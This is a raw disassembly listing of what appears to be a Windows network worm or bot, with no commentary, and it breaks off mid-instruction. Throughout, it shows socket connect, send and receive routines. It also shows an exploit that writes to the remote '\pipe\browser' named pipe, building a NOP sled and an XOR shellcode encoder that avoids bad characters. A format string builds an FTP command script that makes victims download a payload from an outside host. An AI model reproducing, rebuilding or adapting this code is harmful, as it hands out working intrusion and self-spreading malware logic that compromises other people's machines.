loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446450 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464BC lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446530 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp call near ptr 71AB615Ah nop push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_44633C lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463BC lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch nop call near ptr 2830386h sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 call near ptr 71AB2BF4h nop mov edx, [esp+6FEh] mov [esp+10h], eax push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [esp+1Ah], ax nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FB0 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi push 0 push 0A8h push offset dword_44603C push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi push 0 push 0DEh push offset dword_4460E8 push ebx call edi cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx nop call near ptr 71AB9639h test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 2830386h mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax call near ptr 71AB428Ah nop cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 nop call near ptr 71AB2BF4h mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi call near ptr 71AB406Ah nop cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi nop call near ptr 71AB615Ah mov ecx, offset byte_449511 call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov edx, dword_44964F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h call near ptr 2830386h nop mov ecx, offset byte_449511 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi nop call near ptr 71AB615Ah push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469AC rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51010C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C24 mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_44695C rep stosd mov eax, dword_446C1C mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_44698C lea edi, [esp+69Ch] mov ax, word_446C18 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_4468F8 push 104h push edx mov [esp+6BCh], ax call esi add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F30 push offset byte_448F30 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx call near ptr 2860000h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446910 push esi nop call near ptr 2780000h test eax, eax jnz short loc_426427 push esi nop call near ptr 2840000h or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi nop call near ptr 27E0000h test eax, eax jnz short loc_426458 push esi nop call near ptr 2840000h or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C5C mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CC0, ecx lea ecx, [eax+1] mov dword_446CE1, ecx lea ecx, [eax+17h] mov dword_446CD9, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446CEF, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CD0 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CD4 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CD5 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CD9 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CDD mov [ecx+8], esi mov esi, dword_446CE1 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CE5 rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax nop call near ptr 77C2C407h add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510114 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510114, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C44 mov edi, edx mov byte_446C51, bl mov byte_446C55, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C2C mov edi, edx mov word_446C3A, bx mov byte_446C3F, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B19F[eax*4], ecx mov dword_44B18B[eax*4], ecx mov dword_44B18F[eax*4], ecx mov dword_44B193[eax*4], ecx mov dword_44B197[eax*4], ecx mov dword_44B19B[eax*4], ecx mov byte_44AF8B[eax*4], cl mov byte_44B1A3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B19F[esi*4] push eax nop call near ptr 27709B3h cmp dword_44B19F[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B19F[esi*4], ebx mov dword_44B18B[esi*4], ebx mov dword_44B18F[esi*4], ebx mov eax, dword_44B193[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B193[esi*4], ebx mov byte_44AF8B[esi*4], bl mov byte_44B1A3[esi*4], bl mov ecx, dword_44B197[esi*4] push ecx call edi mov dword_44B197[esi*4], ebx mov edx, dword_44B19B[esi*4] lea esi, ds:44B19Bh[esi*4] push edx call edi mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B18F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D818F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 2700000h mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi nop call near ptr 279030Eh test eax, eax jnz short loc_426B45 push esi xor edi, edi call near ptr 2840000h nop loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B18B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D818B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B18B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D818B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF8B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F8B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF8Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr 